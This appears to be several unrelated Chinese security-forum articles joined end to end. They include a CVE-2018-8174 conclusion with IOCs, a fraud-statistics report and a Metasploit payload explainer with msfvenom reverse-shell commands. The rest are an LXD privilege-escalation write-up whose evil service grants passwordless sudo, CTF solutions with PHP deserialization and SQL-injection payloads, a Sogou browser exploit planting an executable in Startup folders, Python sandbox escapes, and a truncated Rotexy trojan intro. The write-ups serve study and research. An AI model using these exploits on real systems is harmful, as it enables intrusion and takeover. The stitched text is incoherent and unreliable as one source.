图16. 释放第二个对象时调用了无效的虚方法而导致崩溃
当`Class_Terminate`子函数处理完毕后，Arr(1)所对应的对象被释放，但ArrB(1)仍然保持被释放的类对象的引用。当执行流程继续时，ArrB会被擦除，再次执行类似逻辑，不过这一次ArrB(1)引用了一个被释放的`ClassVuln`对象，因此当程序调用`ClassVuln`
vtable中的某个虚方法时，我们就可以观察到崩溃现象。
## 五、总结
在这篇文章中，我们分析了CVE-2018-8174漏洞背后的核心原因，这是一个特别有趣的UAF漏洞，漏洞成因在于`Class_Terminate`这个VBScript方法没有正确处理相关对象的生命周期。漏洞利用过程与我们在之前漏洞（CVE-2016-0189以及CVE-2014-6332）中看到的利用过程不一样，原因在于Godmode（上帝模式）技术已经不再适用。整个漏洞利用链与漏洞本身一样有趣，但本文对此不再赘述。
CVE-2018-8174漏洞是利用URL
moniker来加载IE漏洞载荷的第一款漏洞，除非这种技术被修复，否则我们认为攻击者未来将大量滥用这种技术，无视受害者系统上的默认浏览器设置，强制使用IE来加载攻击页面。
我们预计该漏洞将在不久的将来成为攻击者最喜欢的突破口，相信漏洞利用工具包开发者很快就会在驱动式（通过浏览器感染）以及渔叉式钓鱼（通过文档感染）攻击活动中滥用这种技术。为了保证自身安全，我们建议大家采用最新的安全更新，适用具备[行为检测功能](https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection)的安全解决方案。
在我们看来，这个漏洞实际上就是360核心安全团队最近发现的浏览器[“双杀”漏洞](https://weibo.com/ttarticle/p/show?id=2309404230886689265523)。虽然漏洞利用技术并不限于浏览器范畴，但仍被归类为IE
0Day漏洞，这给安全社区带来了一些混乱。
发现这个漏洞后，我们第一时间与微软分享了相关信息，微软确认该漏洞为CVE-2018-8174漏洞。
## 六、检测方法
卡巴斯基实验室产品可以成功检测并阻止整个利用链及相关载荷，具体如下：
1、将RTF文档标记为HEUR:Exploit.MSOffice.Generic
2、将IE漏洞利用技术标记为PDM:Exploit.Win32.Generic，可以使用[自动漏洞防护](https://www.kaspersky.com/enterprise-security/wiki-section/products/automatic-exploit-prevention-aep)技术来防护
3、将IE漏洞利用技术标记为HEUR:Exploit.Script.Generic
4、将攻击载荷标记为HEUR:Trojan.Win32.Generic
## 七、IOC
RTF文档：
b48ddad351dd16e4b24f3909c53c8901
IE漏洞利用技术（CVE-2018-8174）
15eafc24416cbf4cfe323e9c271e71e7
攻击载荷
1ce4a38b6ea440a6734f7c049f5c47e2
相关网址
autosoundcheckers[.]com | 社区文章 |
# 最新诈骗“年报”：被骗人群从50后到00后，无一幸免
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020年，对所有人来说都是不平凡的一年
而这一年，对藏在我们手机里的“骗子”来说
也是“推陈出新”的一年
让我们透过数据，
看看手机诈骗分子的一年“劳作”
拆穿套路，识破“大骗纸”
## 最“精打细算”：辛苦一整年，被骗一大半
2020年，遭遇手机诈骗的受害者人均损失金额11345元。而据国家统计局公布数据显示，2020年，全国居民人均工资性收入为17917元。
## 最“地域歧视”：广东是骗子最爱
2020年，广东仍高居诈骗举报数量之首，占总量10.0％，属实为骗子的最爱。其次分别为山东、河南、四川、河北，5个地区举报数量约占到了全国的34.3％。
## 最佳“操盘手”：都靠金融理财“冲业绩”
2020年，金融理财成为主要诈骗类型，从举报数量上看，占比23.4％；从金额上看，占比更高达31.8％。
### 两大招数
**n虚假网络贷款**
在当前疫情的持续影响下，部分人收入受到影响，需要其他渠道的资金缓解生活压力。无抵押、秒下款的网络贷款就成为其最佳选择。
**n虚假投资理财**
当前年轻人对投资理财的热情与日俱增，“理财专家、高额回报、投资少回报快”成为骗子屡试不爽的诱导秘诀。
## 最“性别平等”：诈骗指标各有“千秋”
2020年手机诈骗中，男性受害者占61%，女性则占39％，男性受害者占比高于女性。
虽然男性受骗人数更多，但从人均损失来看，男性为9871元，女性为13655元，女性人均损失高于男性。
## 最“对症下药”：老中青都不在话下
90后的手机诈骗受害者占所有受害者总数的37.5，是不法分子从事网络诈骗的主要受众人群；其次是00后，占比为28.7％。
从不同年龄受骗者损失金额看，60后接受反诈知识的渠道有限，且有相对比较多的闲置资金，人均受骗金额也最高。
## 最“社交达人”：社交平台成骗子的“横店”
2020年，手机诈骗从传统的电话和短信的方式向陌生人交友的社交平台、二手交易类的购物平台、直播类的短视频平台转变。2020年手机诈骗引流渠道分布类型中，社交类占比最高为42.9％。
## 最“紧跟时事”：疫情也成骗子的噱头
不法分子利用疫情这一敏感时段，从事售卖口罩、口罩资金盘、疫情兼职、疫苗短讯等诈骗行为。 | 社区文章 |
* * *
> 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work>
译者：王一航 & [Google](https://translate.google.com) 2018-05-09
## 校对：王一航 2018-05-09
#### 工作原理
Payload 模块存储在 `modules/payloads/{singles,stages,stagers}/<platform>` 目录中。
当框架启动的时候，`stages` 将会和 `stagers` 合并起来创建一个完整的可以在 `exploits` 中使用的 `payload`
然后，`handlers` 将会和 `payload` 进行对接，以便于我们的框架知道应该如何在一个给定的通讯机制下创建 `sessions`
`payloads`被赋予参考名称，指示所有的片段，如下所示：
Staged payloads: <platform>/[arch]/<stage>/<stager>
Single payloads: <platform>/[arch]/<single>
例如一个有效 `payloads` 的完整引用像这样：
windows/x64/meterpreter/reverse_tcp
其中：平台为 `windows` 平台，架构为`x64`，我们提供的最终的 `stage` 为 `meterpreter`，而交付它的 `stager` 是
`reverse_tcp`
注意：其中 `架构` 这个选项字段是可选的，因为有些情况下并没有必要去纠结架构。一个典型的例子是：
php/meterpreter/reverse_tcp
我们不需要为 PHP 的 Payload 指定一个架构，因为我们提供的是解释代码而不是原生的二进制代码
###### Singles
`Single payloads` 是TODO。 它们具备和 `Metasploit` 建立沟通机制的能力，但是并不是必须与 `Metasploit`
进行通信。 一个示例：是目标没有网络访问时，仍然可以通过USB密钥提供文件格式攻击，在这种场景下，您可能需要`Singles`
###### Stagers
`stagers` 是一个小发射器（译者注：类似火箭的多级启动模式），旨在创建某种形式的通信，然后将执行传递到下一个阶段。 使用 `stager`
解决了两个问题。 首先，它允许我们最初使用一个小的有效载荷来装载更多的功能更大的有效载荷。
其次，它可以将通信机制与最终阶段分开，因此一个有效载荷可以与多个传输一起使用，而无需复制代码。
###### Stages
既然 `Stager` 将通过为我们分配一大块内存来处理任何大小限制来处理它，那么`stages`可以是任意大的。
其中一个优点是能够使用C这样的高级语言编写最终阶段的有效载荷。
#### 多级推进 (Delivering stages)
1. `payloads` 回连的 IP地址 和 端口 被嵌入在 stager 中。就像上面讨论的那样，所有 `staged payloads` 已经不再需要
当您使用分阶段 `payloads` 创建可执行文件时，您实际上只是创建了 `stager`。 所以下面的命令会创建功能相同的 `exe` 文件：
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
(需要注意的是：尽管上述的 Payload 的功能是相同的，但是我们会做一些随机化的工作，因此没有两个可执行文件是完全相同的)
2. Ruby端作为客户端，使用由stager设置的任何传输机制 (例如：`tcp`, `http`, `https`)
3. 在 `shell` 阶段的情况下，当您与终端进行交互时，`Metasploit` 会将远程进程的标准输入流 `stdio` 连接到您的终端。
4. 在 [Meterpreter](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter) 阶段的情况下，`Metasploit` 将开始使用 `Meterpreter Wire` 协议。 | 社区文章 |
# Linux lxd提权漏洞分析利用
|
##### 译文声明
本文是翻译文章，文章原作者 Chris Moberly，文章来源：shenaniganslabs.io
原文地址：<https://shenaniganslabs.io/2019/05/21/LXD-LPE.html>
译文仅供参考，具体内容表达以及含义原文为准。
作者这篇博客核心在于利用的方式，比较新颖，不逐句翻译，保证将核心的点介绍清楚，并复现整个利用过程。
lxc（Linux container），Linux自带的容器；
lxd，简单地说，LXD 就是一个提供了 REST API 的 LXC 容器管理器
其中Ubuntu 19.04 server自带lxd，来扩展lxc的命令；
具体关于lxc和lxd可以参考【1】【2】
概述：
LXD是Linux系统中用于管理LXC容器的API，提供了很多便利的命令来创建容器（container）、启动等等操作。它将为本地lxd用户组的任何用户执行任务，然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。
例如：一个低权限的用户能够创建一个用于host和container通信的socket，当将host中已经创建的一个socket和container绑定后，它们之间的连接通信会以LXD服务的凭证（root权限）而不是调用用户的凭证；所以当container中发送socket和host通信时，此时host端的socket则是root权限。所以关键就是怎么在一个得到一个root
socket时实现提权，这也是这篇博客注重点。
环境搭建&PoC验证：
因为ubuntu 19.04 server是默认安装了lxd的，所以采用这个环境，基于VMWare搭建。（其中Mac上多个ubuntu Server
terminal的切换是，control+command+f1/f2/f3…）。前提就是必须有一个处于lxd用户组的用户，使用exp
[lxd_rootv2.py](https://github.com/initstring/lxd_root/blob/master/lxd_rootv2.py)将其提升到root权限。
所以环境搭建，首先创建一个处于lxd用户组的低权限用户。按照博客上面的流程，我这里为了方便，创建了一个llxd的用户，在lxd用户组，
权限很低，是无法sudo的。
此时基本环境是ok的，只要能够拿到这么一个llxd用户，就能够提权。
在该用户下创建一个container，是不需要额外的权限的。创建ubuntu18.04容器，名称是fal。
lxc launch ubuntu:18.04 fal
创建成功：
PoC验证：
首先尝试在正常环境下，即llxd用户下开启一个socket监听，然后去nc连接，查看此时socket的权限。
socket的监听代码如下：
##!/usr/bin/env python3 """ Echo peercreds in connections to a UNIX domain socket """ import socket import struct def main(): """Echo UNIX peercreds""" listen_sock = '/tmp/echo.sock' sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.bind(listen_sock) sock.listen() while True: print('waiting for a connection') connection = sock.accept()[0] peercred = connection.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED, struct.calcsize("3i")) pid, uid, gid = struct.unpack("3i", peercred) print("PID: {}, UID: {}, GID: {}".format(pid, uid, gid)) continue if __name__ == '__main__': main()
自己在server上省略敲了一遍，测试结果如下，正常的用户权限。
此时尝试从container中去nc来和host通信，这里不是单纯的监听和发送，需要经过lxd server。首先配置通信网络：
lxc config device add fal proxy_sock
proxy connect=unix:/tmp/echo.sock listen=unix:/tmp/proxy.sock
bind=container mode=0777
通过lxd来增加一个代理socket（proxy_sock）来帮助container和host之间的通信，上面的命令大致意思是：给叫fal的容器增加一个proxy_sock，绑定在container上，container上是/tmp/proxy.sock在监听，然后收到数据后连接到host上的/tmp/echo.sock，其实就是相当于一个代理的作用。
所以我们在容器里往/tmp/proxy.sock发送，那么host上监听/tmp/echo.sock就能拿到数据。
然后，创建一个容器用户，登录进去，就能在容器中.
lxc exec falcor -- sudo --user ubuntu --login
上面的结果说明了从container中发出的通信，是能够拿到root socket的。
利用：
作者首先查看在host上面都有哪些socket在监听着，然后发现了一个看起来比较有意思的socket，/run/systemd/private
lowpriv@server:~$ ss -xlp
-- snip -- Local Address:Port
/run/systemd/private
然后通过查看文档寻找该socket的功能：
Used internally as communication channel between systemctl(1) and the systemd
process. This is an AF_UNIX stream socket. This interface is private to
systemd and should not be used in external projects.
简单来看就是systemctl和systemd进行交互用的socket，我们知道systemctl的功能很强大，能够启动服务、终止服务等等；而执行systemctl命令核心就是在使用socket和systemd进行通信，那么只需要知道发送的socket包是什么，那么就能够直接发送socket包来执行systemctl命令了。
作者使用strace来得到systemctl执行时候的输出，以判断究竟发送了哪些socket包。以执行restart ssh为例。
ubuntu@server:~$ sudo strace -ff -s 20000 systemctl restart ssh 2> strace-out
得到的输出信息有（过滤出sendmsg信息）：
sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="AUTH EXTERNAL ", iov_len=15},
{iov_base="30", iov_len=2}, {iov_base="rnNEGOTIATE_UNIX_FDrnBEGINrn", iov_len=28}],
msg_iovlen=3, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45-- snip -- sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="l14134124011o
031/org/freedesktop/systemd131svRestartUnit21s org
.free desktop.systemd1.Manager61s30org.freedesktop.systemd1
0101g2ss", iov_len=176}, {iov_base="vssh.service7replace", iov_len=28}], ms
g_iovlen=2, ms g_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 204
因此作者的利用流程是：那么执行systemctl restart ssh命令就和发送的socket包对应起来了。那么我们在拿到了root
socket后，理论上是能够执行任意的systemctl命令的，所以作者的利用就是构建一个evil
service，然后利用systemctl启动它，所以任意代码执行。
1\. 构建一个evil service， /tmp/evil.service，里面放置shellcode
2\. 使用lxd添加一个代理socket，将container socket和/run/systemd/private socket对应映射起来
3\. 使用lxd添加一个代理socket，将container socket和host socket对应映射起来
4\. 通过构建合理的socket包，来启动evil service，作者这里是执行：
* systemctl link /tmp/evil.service
* systemctl daemon-reload
* systemctl start evil.service
* systemctl disable evil.service
最后对应exp，systemctl命令和对应的socket 包。
shellcode：
user_name = getpass.getuser()
svc_content = ('[Unit]n'
'Description=evil servicen'
'[Service]n''Type=oneshotn'
'ExecStart=/bin/sh -c "echo {} ALL=(ALL) NOPASSWD: ALL''>> /etc/sudoers"n'
'[Install]n'
'WantedBy=multi-user.targetn'.format(user_name))
最后看看数据的传输过程：就是给当前用户一个使用sudo的权限，且不需要密码。
socket代理，传输流程，因为是container到host的socket传输得到root
socket，而目前是在host里面执行代码；所以发送的socket数据由host传到container，然后再由container传到systemd
socket以root执行systemctl命令。
下图中第一个是由container 传到systemd socket；第二个是由host传到container socket。
运行利用代码：
## 最后：
LXD Team认为使用lxd用户组就默认是可以拿到root权限的，所以只是更新了文档来提醒使用者，并没有代码层面的更新，所以最新的ubuntu19.04
server下还是能够复现的。
## 参考：
1\. lxc参考：<https://www.jianshu.com/p/63fea471bc43>
2\. lxd参考：<https://www.cnblogs.com/linuxprobe/p/5814290.html> | 社区文章 |
# 安恒四月赛部分Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这周有安恒的月赛，
又是膜师傅的一天
学到了一些骚姿势：
## web
### web1
打开题目发现给出了源码：
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {
return str_replace('', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = @new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
我们来分析一下：
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {
return str_replace('', chr(0) . '*' . chr(0), $data);
}
这个写函数，当反序列化存储的私有成员是，会有`chr(0)`的出现，所以会对`chr(0) . '*' .
chr(0)`进行一个替换，当读取的时候会对``进行一个还原。
看似没有什么问题，但是当我们可以的存储``进行`wirte()`时不会发生改变。但是进行`read()`时，会变为`chr(0) . '*' .
chr(0)`由六字符变为三字符，可以实现字符逃逸。。。
我们可以明显看到在 `read` 函数处理后，原先字符中的 ``被替换成 `chr(0).'*'.chr(0)`，但是字符长度标识不变
。所以在进行反序列化的时候，还会继续向后读取，这样序列化的结果就完全不一样了。
所以来看一下如何构造pop链。
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
`class
C`存在`file_get_contents()`函数，可以读取文件内容，可以让`$c`为`flag.php`,并且存在`__toString()`魔术方法。。
`class B`函数存在`echo` 那么大致思路就出来了
<?php
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b;
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c = 'flag.php';
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$aaa = new A();
$bbb = new B();
$ccc = new C();
$bbb->b=$ccc;
// echo serialize($bbb);
$aaa->password=$bbb;
echo serialize($aaa);
得到`O:1:"A":2:{s:8:"username";N;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}`
因为要造成反序列化逃逸：所以password值为：`";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}`
带入反序列化的解果为：`O:1:"A":2:{s:8:"username";s:3:"aaa";s:8:"password";s:72:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}`
所以我们要逃逸的字符为:`";s:8:"password";s:72:"`一共23个字符，但是``替换为`chr(0) . '*' .
chr(0)`一次逃逸3个字符，所以要是三的倍数。。所以`password`为`A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}`
username为24个``;
payload:
a=&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
### web2
打开页面是一个登陆框：
尝试一下发现存在waf,
于是看一下都过滤了写什么函数。。
发现过滤的挺多的，也挺全的，一时没有了解头绪
看一下源代码，发现了收获，2333
这个`%s`让我想到了格式化字符串的漏洞。。
上网找到这样的一篇文章[参考文章](https://www.cnblogs.com/test404/p/7821884.html)
发现骚姿势，SQL注入可以和格式化字符串一起使用
例如：
<?php
$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;
输出为`select * from foo where bar in('') or 1=1 /*') and baz=39`
`%c`起到了类似`chr()`的效果，将数字39转化为`'`，从而导致了sql注入。
我们尝试一下利用这种方法
得到了账户密码
发现是admin用户的密码猜测存在后台，找到了后台的位置`/admin`
然后进行登陆，发现，这是一个套娃题 。。 淦
这里面对发现了眼熟的代码：
是一个经典的配置文件写入问题漏洞.[参考链接](https://www.cnblogs.com/wh4am1/p/6607837.html)
payload:
a';phpinfo();//
然后再shell.php看到了phpinfo()的界面。。
我以为就可以得到flag了。。谁知道有`disable_functions`
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail
想到了题目给了一个so文件。。猜测是上传so文件来进行提权操作。。。但是尝试了半天无果。。这应该是最后一步了，并且好多人在搅屎
最后两分钟有大佬拿到了一血
tql。
## MISC
### blueshark
打开题目，发现这是一个蓝牙协议：
发现存在一个7z的压缩包。提示压缩包密码为PIN码
一个骚操作将pcap文件后缀改为zip可以得到这个压缩包。。。
然后找到了PIN码的流量，得到PIN码
打开压缩包，得到flag
### 6G还远吗？
刚开始发现是下载的779MB的文件，就点击下载了，然后去看别的题目了，但是过一会发现这个下载速度不对呀。。意识到事情有一丝丝的不对。。嘿嘿
暂停下载找到下载的临时文件打开得到了flag
## 总结
这次月赛，学到了一些新知识，以及骚操作
大佬们都tql。。。
## 参考链接
<https://www.cnblogs.com/test404/p/7821884.html>
<https://www.cnblogs.com/wh4am1/p/6607837.html>
<https://xz.aliyun.com/t/6588> | 社区文章 |
本文属于浏览器安全系列第三篇,目录如下
1. [2345浏览器本地文件读取及远程命令执行](http://paper.seebug.org/72/)
2. [百度浏览器远程命令执行](http://paper.seebug.org/73/)
3. [搜狗浏览器从UXSS到远程命令执行](http://paper.seebug.org/74/)
4. [Fancy3D引擎（YY浏览器）远程命令执行](http://paper.seebug.org/75/)
* * *
原文链接：http://zhchbin.github.io/2016/10/06/Sogou-Browser-RCE/
作者：[zhchbin](http://zhchbin.github.io/)
案例链接： ~~http://www.wooyun.org/bugs/wooyun-2016-0213422~~
## 免责声明
本博客提供的部分文章思路可能带有攻击性，仅供安全研究与教学之用，风险自负!
### 0x00 首先是UXSS
具体见：https://bugs.chromium.org/p/chromium/issues/detail?id=569496
浏览器版本号：6.3.8.21279
### 0x01 既然可以UXSS，我们找个特权域
从漏洞 http://wooyun.org/bugs/wooyun-2010-0145023
我们可以知道搜狗浏览器的扩展有下载任意文件到任意位置的API！我们自己写一个恶意扩展，提交并通过审核的可能性基本为0。这个API这么好用，但又只能从：se-extension://域名下进行调用，好像很难构造吧。
sogouExplorer.downloads.downloadSilently({
url:"http://tmxk.org/img/r-c.png",
filename:"dd.exe",
path:"d:\",
method:"GET"
})
我在想怎么利用上面的UXSS的时候，突发奇想的测试了一下，我们能不能打到se-extension://这个域名，于是进行一下测试。我找了一个搜狗浏览器安装时启用的默认扩展，找到其background.html的地址：`se-extension://ext238561744/background.html`。结果当然是没有那么容易，会提示如下的信息：
> Denying load of se-extension://ext238561744/background.html. Resources must
> be listed in the web_accessible_resources manifest key in order to be loaded
> by pages outside the extension.
### 0x02 难道没法子？
我认真的读了两秒这个提示后，原来还允许开发者通过`web_accessible_resources`指定某些资源，从而实现在扩展外被访问！当然，我们就去试试运气去默认的扩展下找找看有没有吧。搜狗浏览器安装的插件在这个目录下：
C:\Users\Username\AppData\Roaming\SogouExplorer\Extension
grep一下，找到了一个插件，搜狗打假助手，`com.sogou.antiCrime`，其manifest.xml文件中有以下的内容：
于是就把要打的域名地址换成了：
se-extension://ext238561744/jd/images/ac-logo.png
一开始我还觉得这是一个PNG图片，即使没有被拒绝访问，也应该用不了扩展的API吧。我本来是很怀疑能不能行的，正想放弃的时候，我还是觉得应该尝试一发。把PoC里的expolit.html里的f函数改一下，尝试下载一个文件到`c:\Users\`目录下。
备注：后来想想其实也对，因为图片在浏览器打开的时候浏览器用自动的使用img标签插入来显示图片。
...
function f() {
console.log("f()")
if (++c1 == 2) {
var x1 = x.contentWindow[0].frameElement.nextSibling;
// x1.src = 'se-extension://ext238561744/background.html'; // Denied
x1.src = 'se-extension://ext238561744/jd/images/ac-logo.png';
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
x1.src = "javascript:if(location != 'about:blank') {console.log(location); sogouExplorer.downloads.downloadSilently({url:'http://127.0.0.1/test.js',filename:'test.js',path:'c:\\\\Users\\\\',method:'GET'});}"
}
}
}
...
### 0x03 最终我们做到了！
上面下载好文件之后，我们可以直接使用伪协议来执行，在 http://wooyun.org/bugs/wooyun-2010-0177221
最新版依旧没有加个提示什么的。而且现在我们又扩展名`.js`了。直接可以执行。当然，我们也可以写到用户的启动目录中，至于怎么拿到用户名，这个
http://wooyun.org/bugs/wooyun-2010-0176436 的漏洞都公开了，然后好像什么修复工作都没有做。
location.href="vbefile:/../../../../../../Users/test.js"
获取用户名的过程：用户访问open.html，跳转到data:域下
window.location.href = "data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHA6Ly8xMjcuMC4wLjEvZXZpbC5qcyc+PC9zY3JpcHQ+"
其中base64解密后内容为：
<script src='http://127.0.0.1/evil.js'></script>
evil.js在data域下执行，可以获取到用户名列表，然后再跳转到需要写calc.exe到启动目录的页面中，完成写入操作！
function getUsers(data) {
var users = data.match(/<script>addRow\("([^"]+)"/g) || [];
var currentUser=[];
for(var i = 0; i < users.length; i++) {
var user = (users[i].match(/<script>addRow\("([^"]+)"/) || ["", ""])[1];
if(["..", "All Users", "Default", "Default User", "Public", "UpdatusUser", "desktop.ini"].indexOf(user) == -1) {
currentUser.push(user);
}
}
console.log(currentUser);
return currentUser;
}
window.external.extension("getRecommendSidebarExts", "file:///C:/Users/", function () {
var data = JSON.parse(arguments[0]);
if (data.success != true)
return;
location.href = 'http://127.0.0.1/exploit.html?users=' + getUsers(data.data);
});
写文件到启动目录下：
function f() {
console.log("f()")
if (++c1 == 2) {
var users = top.location.search.replace('?users=').split(',');
var x1 = x.contentWindow[0].frameElement.nextSibling;
// x1.src = 'se-extension://ext238561744/background.html'; // Denied
x1.src = 'se-extension://ext238561744/jd/images/ac-logo.png';
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
var users_str = '';
for (var i = 0; i < users.length; ++i) {
users_str += ('"' + users[i] + '"');
if (i != users.length - 1)
users_str += ',';
}
x1.src = "javascript:if(location != 'about:blank') { var users=[" + users_str + "]; for (var i = 0; i < users.length; ++i) sogouExplorer.downloads.downloadSilently({url:'http://127.0.0.1/calc.exe',filename:'calc.exe',path:'C:\\\\Users\\\\' + users[i] + '\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\',method:'GET'});}"
}
}
}
录个用伪协议执行的GIF
* * * | 社区文章 |
## Background
打国外的ctf的时候认识了个师傅，他给我发了两个python题目，问我有没有什么想法，研究了一下
## Challenge 1 Python2
from __future__ import print_function
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
这题是一个常见的沙盒逃逸，删除掉了bultins里面的函数，那我们就直接换一个常见的链即可 ,然后对于os 和system用简单的字符串拼接就可以
最终payload:`().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')`
这题是个很简单也很基础的沙盒逃逸,但是我们注意到这是py2的沙盒逃逸，那py3的沙盒逃逸题是否有什么不一样的方法
## Challenge 2 Py 3
#!/usr/bin/env python3
import string
print("Welcome to my pyjail! pls dont escape")
while True:
inp = input(">>> ")
for n in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
if n in inp:
print("no u")
exit()
exec(inp)
阅读源码，发现他ban掉了所有英文字母，我首先就想到是否可以通过一些进制转换的方式，然后和一位朋友试了一下，将
`_import__('os').system('ls')`
尝试转换八进制，然后在python3的环境里面执行发现是可以的
但是我们在题目里是并不可以执行的
说明我们的import导包好像并没成功
os 和ls这种字符串八进制应该没什么问题的
问题只是如何能够通过某种方法让我们导入这个包 我搜索了python官方的文档关于编码，以及python2 和 python3在编码方面的差异 让我发现了这个
在python3中支持 Non-ASCII Identifies 并且
所有都会被转换成 unicode 的NFKC 也就是标准模式
所以是不是我们以前ctf存在的什么unicode欺骗在这里也可以用到呢？
我在stackoverflow搜索了更多关于Non-ASCII Identifies 的帖子
发现个有趣的demo
这里面的第一个是函数的f 在python3环境里我们打印f 也可以执行
我看到这个函数f可以执行我也想到了 我们可以用斜体或者花体各种各样的与标准字母相像的来进行导包操作
我搜索了unicode字符大全，发现了很多我提到的字符
我们构造import 和system 将需要的字符串os 和open flag.txt用八进制表示
可以看到成功get flag
得到这个神奇的方法后，我在想 ，以前题目出过不少python3的沙盒逃逸题目，并且黑名单了一些包名，我们是不是可以直接通过这个方法直接bypass掉
我在ctftime搜到了一个题目
题目来源于(N-CTF 2019的python_jail）
发现用我的payload可以直接得到flag
## 后记
我通过不断搜索发现，不只python3有这个机制，rust居然也存在
各位师傅们可以更深入的了解下
## 参考文章
unicode字符大全<http://www.52unicode.com/mathematical-alphanumeric-symbols-zifu>
PEP 3131 <https://www.python.org/dev/peps/pep-3131/>
<https://github.com/rust-lang/rust/issues/28979>
<https://stackoverflow.com/questions/62256014/does-python-forbid-two-similarly-looking-unicode-identifiers>
<https://ctftime.org/writeup/17085> | 社区文章 |
# Rotexy：兼备银行木马及勒索软件功能的移动木马
原文：<https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/>
## 0x00 概述
随着特洛伊木马活动的激增，我们决定进行深入分析，跟踪除[Asacub](https://securelist.com/the-rise-of-mobile-banker-asacub/87591/)之外其他一些流行恶意软件家族的演变过程。迄今为止我们发现的最为有趣和最为活跃的一个目标是来自Rotexy家族的移动木马。在2018年8月至10月的三个月内，该木马发起了70,000多起攻击，受害用户主要位于俄罗斯境内。
这个银行木马家族有个一个有趣的特征，就是同时使用三个命令源：
1、Google Cloud Messaging（GCM）服务：通过[Google服务器](https://securelist.com/gcm-in-malicious-attachments/57471/))将JSON格式的小邮件发送到移动设备；
2、恶意C&C服务器；
3、SMS消息。
Rotexy的第一个版本中就具备这种“多功能性”，并且所有后续变种中都包含该特性。在我们的研究过程中，我们得出一个结论：这个木马源自于2014年10月首次发现的短信间谍软件，当时该恶意软件被检测为`Trojan-Spy.AndroidOS.SmsThief`，但后来的变种被归类为另一个家族：`Trojan-Banker.AndroidOS.Rotexy`。
较新版的Rotexy结合了银行木马和勒索软件的功能，该恶意软件以`AvitoPay.apk`名称（或类似名称）传播，并从可以从`youla9d6h.tk`、`prodam8n9.tk`、`prodamfkz.ml`及`avitoe0ys.tk`等网站下载。这些网站域名使用特定的算法生成：前几个字母带有热门分类广告服务的含义，其次是随机字符串，后面跟着两个字母的顶级域名。在详细介绍Rotexy最新版本及其特点之前，让我们先简要回顾一下该木马自2014年以来到现在的演化路径。
## 0x01 Rotexy进化历史
### 2014-2015
